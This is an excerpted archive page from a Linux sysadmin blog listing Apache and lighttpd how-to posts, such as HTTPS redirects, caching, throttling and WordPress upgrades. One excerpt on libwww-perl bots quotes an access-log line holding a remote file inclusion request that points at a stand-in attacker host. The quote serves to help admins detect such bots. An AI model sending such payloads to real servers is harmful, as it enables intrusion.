Archive for the 'Apache' Category
- Upgrade wordpress quickly in 3 easy steps from UNIX shell prompt
Since I use wordpress as CMS for 2-3 different websites, upgrading wordpress is an essential task for me. Upgrading wordpress from shell prompt is the easiest thing.
Howto update wordpress
Please note that if you are not comfortable with UNIX shell prompt (IF YOU ARE new to UNIX/Linux), please follow traditional way of upgrading wordpress and [...] - Apache: Redirect http to https Apache secure connection - force HTTPS Connections
Let us say you have webmail sub-domain called http://mail.nixcraft.com and you would like to redirect it to https secure connection i.e. https://mail.nixcraft.com.
This will help you protect user privacy and sensitive information such as username and password remotely.
So how do you configure your Apache web server so that you prevent your web sites from being [...] - Using google to attack on your personal web server
According to this document Google can be utilized to attack on your personal web server.
Google can be utilized to hack into websites - actively exploiting them (not information gathering by the use of Google hacking, although that is how most of the sites vulnerable to RFI attacks are found).
By placing a URL on any web [...] - Monitor and restart Apache or lighttpd webserver when daemon is killed
When you cannot monitor your server for service availability, it is better to take help of automated monitor and restart utility. Last 4 days I was away from my server as I was enjoying my vacation. During this time due to load my lighttpd webserver died but it was restarted automatically within 2 minutes. I [...]
- How to improve Apache httpd performance with mod_cache - caching dynamic content
Twenty things you didn’t know you could do with your apache web server caching.
You know that part of your website that you never update? Sure, it’s “dynamic”–the content rests in a database and gets loaded with every request–but you haven’t updated it since last Christmas. Yet every time someone loads that page, it hits [...] - Setup sendmail php mail() support for chrooted Lighttpd or Apache web server
Once chroot() call is applied to chrooted lighttpd or apache web server, you lost the connection with real /usr/sbin/sendmail program.
The php mail() function allows you to send mail. For the Mail functions to be available, PHP must have access to the sendmail binary on your system during compile time. If you use another mail [...] - Slow down or throttles down apache server to avoid automatic downloads
The Apache module mod_bwshare throttles HTTP requests to Apache 1 and 2 servers for each client IP address independently. This module accepts or rejects HTTP requests from each client IP address based on past downloads by that client IP address.
If the HTTP client’s download rate exceeds specified levels, the reponse to the HTTP client is [...] - The rise of bots, spammers, crack attacks and libwww-perl
libwww-perl (LWP) is fine WWW client/server library for Perl. Unfortunately this library used by many script kiddy, crackers, and spam bots.
Verify bots…
Following is a typical example, you will find in your apache or lighttpd access.log log file:
$ grep ‘libwww-perl’ access.log
OR
$ grep ‘libwww-perl’ /var/log/lighttpd/access.log
Output:62.152.64.210 www.domain.com - [23/Oct/2006:22:24:37 +0000] “GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com/list.txt? HTTP/1.1″ 200 72672 “-” “libwww-perl/5.76″
So [...]
- Force apache webserver to listen on all addresses except one ip address
Few days back I wrote about how to force OpenSSH (sshd) to listen on selected multiple IP address only. Kritika sends me following question:
I would like to bind port 80 on 3 of 5 IP address. By default Apache using all port 80. How do I force apache webserver to listen on all addresses [...] - HTTP Error 500 Internal server for php pages and solution
You get “500 - Internal server error” error message when a user tries to access your Apache or Lighttpd based dynamic php application (such as forum or blog software).
Generally, to solve this problem you need to take help of log files located at following location:
=> /var/log/message
=> /var/log/httpd/error_logs (/var/log/lighttpd/error_log or /var/log/httpd/error_log)
So you may be wondering why [...]
Viewing 41-50 of 61 posts.
« Previous Page — Next Page »


Recent Comments
Today ~ 160 Comments
Today ~ 5 Comments
Yesterday ~ 6 Comments
Yesterday ~ 4 Comments
Yesterday ~ 1 Comment